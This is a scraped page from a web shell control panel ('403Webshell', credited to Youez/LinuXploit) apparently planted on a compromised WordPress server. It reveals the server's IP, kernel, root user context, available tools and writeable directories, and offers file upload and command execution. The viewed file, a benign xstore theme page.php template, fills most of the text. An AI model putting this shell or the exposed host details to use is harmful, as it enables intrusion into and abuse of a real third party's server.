403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.164
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/adsonicdigital/wp-content/themes/xstore/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/adsonicdigital/wp-content/themes/xstore//page.php
<?php

defined( 'ABSPATH' ) || exit( 'Direct script access denied.' );

get_header();

global $post;

if ( get_query_var( 'et_portfolio-projects', false ) ) {

    $portfolio_page_id = get_query_var('et_portfolio-page', false);

    if ( function_exists('icl_object_id') ) {

        global $sitepress;

        if ( ! empty( $sitepress )  ) {
            $multy_id = icl_object_id ( get_the_id(), "page", false, $sitepress->get_default_language() );
        } elseif( function_exists( 'pll_current_language' ) ) {
            $multy_id = icl_object_id ( get_the_id(), "page", false, pll_current_language() );
        } else {
            $multy_id = false;
        }

        if (  get_the_id() == $portfolio_page_id || $portfolio_page_id == $multy_id ) {
            get_template_part('portfolio');
            return;
        }
    } else {
        if (  get_the_id() == $portfolio_page_id ) {
            get_template_part('portfolio');
            return;
        }
    }
}

?>

<?php do_action( 'etheme_page_heading' ); ?>

<div class="container content-page sidebar-mobile-<?php echo esc_attr( get_query_var('et_sidebar-mobile', 'bottom') ); ?>">
    <div class="sidebar-position-<?php echo esc_attr( get_query_var('et_sidebar', 'left') ); ?>">
        <div class="row">

            <div class="content <?php echo esc_attr( get_query_var('et_content-class', 'col-md-9') ); ?>">
                <?php if(have_posts()): while(have_posts()) : the_post(); ?>

                    <?php
                    $mobile_content = etheme_get_custom_field('mobile_content', $post->ID);
                    if ( get_query_var('is_mobile', false) && !empty( $mobile_content ) && $mobile_content != 'inherit')
                        etheme_static_block($mobile_content, true);
                    else
                        the_content();
                    ?>

                    <div class="post-navigation"><?php wp_link_pages(); ?></div>

                    <?php if ($post->ID != 0 && current_user_can('edit_post', $post->ID)): ?>
                        <?php edit_post_link( esc_html__('Edit this', 'xstore'), '<p class="edit-link">', '</p>' ); ?>
                    <?php endif ?>

                <?php endwhile; else: ?>

                    <h3><?php esc_html_e('No pages were found!', 'xstore') ?></h3>

                <?php endif; ?>

                <?php if ( ! is_front_page() ) comments_template('', true); ?>

            </div>

            <?php get_sidebar(); ?>

        </div><!-- end row-fluid -->

    </div>
</div><!-- end container -->

<?php
get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit